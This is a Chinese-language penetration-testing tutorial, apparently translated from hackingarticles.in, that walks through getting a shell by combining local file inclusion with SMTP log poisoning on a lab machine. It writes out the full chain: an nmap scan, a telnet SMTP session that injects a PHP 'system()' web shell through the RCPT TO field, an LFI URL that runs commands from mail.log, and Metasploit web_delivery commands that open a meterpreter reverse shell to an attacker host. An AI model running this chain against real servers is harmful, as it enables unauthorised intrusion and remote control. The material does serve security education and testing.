利用SMTP日志+LFI本地文件包含进行getshell

iso60001  2096天前

22.png

各位好!!今天我们将讨论在渗透测试中SMTP日志的潜在利用方式。如果你还不是很了解SMTP和文件包含,可以阅读我们之前的文章“SMTP实验设置”和“文件包含攻击入门指南(LFI/RFI)”。而在这篇文章中,你将看到如果Web服务器存在本地文件包含漏洞,那么我们如何通过SMTP服务来getshell。

Let’s Start!!

首先我们通过nmap的帮助下,我们扫描端口25,结果显示端口25为SMTP服务打开。

nmap -p25 192.168.1.107

33.png

由于这次演示是基于本地文件包含漏洞;因此我创建了一个PHP文件,它允许用户通过URL中的参数包含一个本地文件。例如,我们能够访问测试机器的/etc/passwd文件。

44.png

现在,我们再来试试访问mail.log文件,如果你能够看到文件内容,这意味着你对mail.log文件具有读写权限,此时,我们就可以尝试往该文件注入恶意代码,来达到getshell的目的。

55.png

在上一步确认后,我们用telnet命令连接到SMTP(25)端口

telnet 192.168.1.107 25

如无意外,我们现在已成功连接到了测试机器上的端口。现在,让我们尝试通过命令行(cli)发送邮件,并在“RCPT TO”这个选项填入操作系统命令。因为当我们尝试利用SMTP服务处理邮件时,mail.log中会自动添每个邮件的相关日志。现在利用这个特性,我发送一封掺杂了恶意PHP代码的邮件,其相关日志将自动添加到mail.log文件中。

MAIL FROM:<rrajchandel@gmail.com>
RCPT TO:<?php system($_GET['c']); ?>

66.png

注意,上图中所出现的501 5.1.3错误和收件人地址语法错误有关,不影响我们的实际利用,可以忽略它。

由于我们已经将恶意的php代码注入到邮件日志中,这个阶段我称之为日志文件投毒,所以我们现在就执行命令了,通过在URL中输入参数ifconfig,就可以清楚地在mail.log文件中看到这个命令的执行结果。

 192.168.1.107/lfi/lfi.php?file=/var/log/mail.log &c=ifconfig

命令执行结果如下图所示:

77.png

这就是SMTP日志投毒,通过这种漏洞,我们可以轻易地获取受害者机器的反弹shell。

use exploit/multi/sc ript/web_delivery
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvport  8888
msf exploit (web_delivery)>exploit

在me tasploit中运行上面的命令

88.png

将上面复制的恶意代码粘贴到URL中,如给定的图像所示,并以命令的形式执行。

99.png

当上面图片中最后的生成的代码复制到URL中,然后点击跳转,你就可以得到一个测试机器的meterpreter会话。

msf exploit (web_delivery)>sessions 1
meterpreter> sysinfo

100.png

感谢你的阅读!

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://www.hackingarticles.in/smtp-log-poisioning-through-lfi-to-remote-code-exceution/

最新评论

昵称
邮箱
提交评论